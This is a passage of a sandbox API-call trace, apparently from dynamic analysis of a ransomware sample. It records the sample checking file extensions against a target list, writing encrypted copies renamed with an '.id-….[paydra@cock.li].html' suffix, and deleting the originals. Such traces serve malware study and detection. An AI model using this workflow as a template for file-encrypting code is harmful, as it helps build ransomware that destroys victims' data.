4 [0035.783] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.783] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.783] lstrlenW (lpString=".zip") returned 4 [0035.783] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.783] lstrlenW (lpString=".rar") returned 4 [0035.783] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.783] lstrlenW (lpString=".bz2") returned 4 [0035.783] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.783] lstrlenW (lpString=".7z") returned 3 [0035.783] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.783] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.783] lstrlenW (lpString=".dbf") returned 4 [0035.783] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.783] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.783] lstrlenW (lpString=".1cd") returned 4 [0035.783] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.783] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.783] lstrlenW (lpString=".jpg") returned 4 [0035.783] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.784] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.784] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.784] lstrlenW (lpString=".doc") returned 4 [0035.784] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.784] lstrlenW (lpString=".docx") returned 5 [0035.784] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0035.784] lstrlenW (lpString=".pdf") returned 4 [0035.784] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.784] lstrlenW (lpString=".xls") returned 4 [0035.784] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.784] lstrlenW (lpString=".xlsx") returned 5 [0035.784] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0035.784] lstrlenW (lpString=".ppt") returned 4 [0035.784] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.784] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.784] lstrlenW (lpString=".zip") returned 4 [0035.784] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.784] lstrlenW (lpString=".rar") returned 4 [0035.784] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.784] lstrlenW (lpString=".bz2") returned 4 [0035.784] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.784] lstrlenW (lpString=".7z") returned 3 [0035.784] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.784] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.784] lstrlenW (lpString=".dbf") returned 4 [0035.784] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.784] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.784] lstrlenW (lpString=".1cd") returned 4 [0035.784] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.784] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.784] lstrlenW (lpString=".jpg") returned 4 [0035.784] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.785] lstrcmpiW (lpString1=".EPS", lpString2=".html") returned -1 [0035.785] lstrlenW (lpString="MS.EPS") returned 6 [0035.785] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0035.875] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=15067) returned 1 [0035.875] CloseHandle (hObject=0x190) returned 1 [0035.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 0x20 [0035.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0035.875] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0035.875] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0035.875] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0035.875] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0035.875] GetLastError () returned 0x0 [0035.876] ReadFile (in: hFile=0x190, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x3adb, lpOverlapped=0x0) returned 1 [0035.877] WriteFile (in: hFile=0x184, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x3ae0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x3ae0, lpOverlapped=0x0) returned 1 [0035.878] ReadFile (in: hFile=0x190, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0035.878] WriteFile (in: hFile=0x184, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0035.878] SetEndOfFile (hFile=0x184) returned 1 [0035.879] CloseHandle (hObject=0x184) returned 1 [0035.879] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0035.880] SetEndOfFile (hFile=0x190) returned 1 [0035.880] CloseHandle (hObject=0x190) returned 1 [0035.880] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0035.881] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 1 [0035.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0035.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0035.881] lstrlenW (lpString=".doc") returned 4 [0035.881] lstrcmpiW (lpString1=".doc", lpString2=".EPS") returned -1 [0035.881] lstrlenW (lpString=".docx") returned 5 [0035.881] lstrcmpiW (lpString1=".docx", lpString2="S.EPS") returned -1 [0035.881] lstrlenW (lpString=".pdf") returned 4 [0035.881] lstrcmpiW (lpString1=".pdf", lpString2=".EPS") returned 1 [0035.881] lstrlenW (lpString=".xls") returned 4 [0035.881] lstrcmpiW (lpString1=".xls", lpString2=".EPS") returned 1 [0035.881] lstrlenW (lpString=".xlsx") returned 5 [0035.881] lstrcmpiW (lpString1=".xlsx", lpString2="S.EPS") returned -1 [0035.881] lstrlenW (lpString=".ppt") returned 4 [0035.881] lstrcmpiW (lpString1=".ppt", lpString2=".EPS") returned 1 [0035.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0035.881] lstrlenW (lpString=".zip") returned 4 [0035.881] lstrcmpiW (lpString1=".zip", lpString2=".EPS") returned 1 [0035.881] lstrlenW (lpString=".rar") returned 4 [0035.881] lstrcmpiW (lpString1=".rar", lpString2=".EPS") returned 1 [0035.881] lstrlenW (lpString=".bz2") returned 4 [0035.881] lstrcmpiW (lpString1=".bz2", lpString2=".EPS") returned -1 [0035.881] lstrlenW (lpString=".7z") returned 3 [0035.881] lstrcmpiW (lpString1=".7z", lpString2="EPS") returned -1 [0035.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0035.882] lstrlenW (lpString=".dbf") returned 4 [0035.882] lstrcmpiW (lpString1=".dbf", lpString2=".EPS") returned -1 [0035.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0035.882] lstrlenW (lpString=".1cd") returned 4 [0035.882] lstrcmpiW (lpString1=".1cd", lpString2=".EPS") returned -1 [0035.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0035.882] lstrlenW (lpString=".jpg") returned 4 [0035.882] lstrcmpiW (lpString1=".jpg", lpString2=".EPS") returned 1 [0035.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0035.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0035.882] lstrlenW (lpString=".doc") returned 4 [0035.882] lstrcmpiW (lpString1=".doc", lpString2=".EPS") returned -1 [0035.882] lstrlenW (lpString=".docx") returned 5 [0035.882] lstrcmpiW (lpString1=".docx", lpString2="S.EPS") returned -1 [0035.882] lstrlenW (lpString=".pdf") returned 4 [0035.882] lstrcmpiW (lpString1=".pdf", lpString2=".EPS") returned 1 [0035.882] lstrlenW (lpString=".xls") returned 4 [0035.882] lstrcmpiW (lpString1=".xls", lpString2=".EPS") returned 1 [0035.882] lstrlenW (lpString=".xlsx") returned 5 [0035.882] lstrcmpiW (lpString1=".xlsx", lpString2="S.EPS") returned -1 [0035.882] lstrlenW (lpString=".ppt") returned 4 [0035.882] lstrcmpiW (lpString1=".ppt", lpString2=".EPS") returned 1 [0035.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0035.882] lstrlenW (lpString=".zip") returned 4 [0035.882] lstrcmpiW (lpString1=".zip", lpString2=".EPS") returned 1 [0035.882] lstrlenW (lpString=".rar") returned 4 [0035.882] lstrcmpiW (lpString1=".rar", lpString2=".EPS") returned 1 [0035.882] lstrlenW (lpString=".bz2") returned 4 [0035.882] lstrcmpiW (lpString1=".bz2", lpString2=".EPS") returned -1 [0035.882] lstrlenW (lpString=".7z") returned 3 [0035.882] lstrcmpiW (lpString1=".7z", lpString2="EPS") returned -1 [0035.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0035.882] lstrlenW (lpString=".dbf") returned 4 [0035.882] lstrcmpiW (lpString1=".dbf", lpString2=".EPS") returned -1 [0035.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0035.883] lstrlenW (lpString=".1cd") returned 4 [0035.883] lstrcmpiW (lpString1=".1cd", lpString2=".EPS") returned -1 [0035.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0035.883] lstrlenW (lpString=".jpg") returned 4 [0035.883] lstrcmpiW (lpString1=".jpg", lpString2=".EPS") returned 1 [0035.993] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0035.993] lstrlenW (lpString="MS.PNG") returned 6 [0035.993] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0036.009] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=1682) returned 1 [0036.009] CloseHandle (hObject=0x190) returned 1 [0036.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 0x20 [0036.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0036.009] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0036.009] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0036.009] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0036.009] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0036.009] GetLastError () returned 0x0 [0036.009] ReadFile (in: hFile=0x190, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x692, lpOverlapped=0x0) returned 1 [0036.011] WriteFile (in: hFile=0x18c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x6a0, lpOverlapped=0x0) returned 1 [0036.012] ReadFile (in: hFile=0x190, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0036.012] WriteFile (in: hFile=0x18c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0036.020] SetEndOfFile (hFile=0x18c) returned 1 [0036.037] CloseHandle (hObject=0x18c) returned 1 [0036.038] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0036.038] SetEndOfFile (hFile=0x190) returned 1 [0036.039] CloseHandle (hObject=0x190) returned 1 [0036.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0036.039] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 1 [0036.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0036.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0036.039] lstrlenW (lpString=".doc") returned 4 [0036.040] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0036.040] lstrlenW (lpString=".docx") returned 5 [0036.040] lstrcmpiW (lpString1=".docx", lpString2="S.PNG") returned -1 [0036.040] lstrlenW (lpString=".pdf") returned 4 [0036.040] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0036.040] lstrlenW (lpString=".xls") returned 4 [0036.040] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0036.040] lstrlenW (lpString=".xlsx") returned 5 [0036.040] lstrcmpiW (lpString1=".xlsx", lpString2="S.PNG") returned -1 [0036.040] lstrlenW (lpString=".ppt") returned 4 [0036.040] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0036.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0036.040] lstrlenW (lpString=".zip") returned 4 [0036.040] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0036.040] lstrlenW (lpString=".rar") returned 4 [0036.040] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0036.040] lstrlenW (lpString=".bz2") returned 4 [0036.040] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0036.040] lstrlenW (lpString=".7z") returned 3 [0036.040] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0036.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0036.040] lstrlenW (lpString=".dbf") returned 4 [0036.040] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0036.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0036.040] lstrlenW (lpString=".1cd") returned 4 [0036.040] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0036.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0036.040] lstrlenW (lpString=".jpg") returned 4 [0036.040] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0036.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0036.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0036.041] lstrlenW (lpString=".doc") returned 4 [0036.041] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0036.041] lstrlenW (lpString=".docx") returned 5 [0036.041] lstrcmpiW (lpString1=".docx", lpString2="S.PNG") returned -1 [0036.041] lstrlenW (lpString=".pdf") returned 4 [0036.041] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0036.041] lstrlenW (lpString=".xls") returned 4 [0036.041] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0036.041] lstrlenW (lpString=".xlsx") returned 5 [0036.041] lstrcmpiW (lpString1=".xlsx", lpString2="S.PNG") returned -1 [0036.041] lstrlenW (lpString=".ppt") returned 4 [0036.041] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0036.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0036.041] lstrlenW (lpString=".zip") returned 4 [0036.041] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0036.041] lstrlenW (lpString=".rar") returned 4 [0036.041] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0036.041] lstrlenW (lpString=".bz2") returned 4 [0036.041] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0036.041] lstrlenW (lpString=".7z") returned 3 [0036.041] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0036.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0036.041] lstrlenW (lpString=".dbf") returned 4 [0036.041] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0036.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0036.041] lstrlenW (lpString=".1cd") returned 4 [0036.041] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0036.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0036.041] lstrlenW (lpString=".jpg") returned 4 [0036.041] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0036.042] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0036.042] lstrlenW (lpString="auxbase.xml") returned 11 [0036.042] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0036.088] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=1434) returned 1 [0036.088] CloseHandle (hObject=0x190) returned 1 [0036.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0036.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0036.088] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0036.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0036.088] lstrlenW (lpString=".doc") returned 4 [0036.088] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.088] lstrlenW (lpString=".docx") returned 5 [0036.088] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0036.088] lstrlenW (lpString=".pdf") returned 4 [0036.088] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.088] lstrlenW (lpString=".xls") returned 4 [0036.088] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.088] lstrlenW (lpString=".xlsx") returned 5 [0036.088] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0036.089] lstrlenW (lpString=".ppt") returned 4 [0036.089] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0036.089] lstrlenW (lpString=".zip") returned 4 [0036.089] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.089] lstrlenW (lpString=".rar") returned 4 [0036.089] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.089] lstrlenW (lpString=".bz2") returned 4 [0036.089] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.089] lstrlenW (lpString=".7z") returned 3 [0036.089] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0036.089] lstrlenW (lpString=".dbf") returned 4 [0036.089] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0036.089] lstrlenW (lpString=".1cd") returned 4 [0036.089] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0036.089] lstrlenW (lpString=".jpg") returned 4 [0036.089] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0036.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0036.089] lstrlenW (lpString=".doc") returned 4 [0036.089] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.089] lstrlenW (lpString=".docx") returned 5 [0036.089] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0036.089] lstrlenW (lpString=".pdf") returned 4 [0036.089] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.089] lstrlenW (lpString=".xls") returned 4 [0036.089] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.089] lstrlenW (lpString=".xlsx") returned 5 [0036.089] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0036.089] lstrlenW (lpString=".ppt") returned 4 [0036.089] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0036.090] lstrlenW (lpString=".zip") returned 4 [0036.090] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.090] lstrlenW (lpString=".rar") returned 4 [0036.090] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.090] lstrlenW (lpString=".bz2") returned 4 [0036.090] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.090] lstrlenW (lpString=".7z") returned 3 [0036.090] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0036.090] lstrlenW (lpString=".dbf") returned 4 [0036.090] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0036.090] lstrlenW (lpString=".1cd") returned 4 [0036.090] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.090] lstrlenW 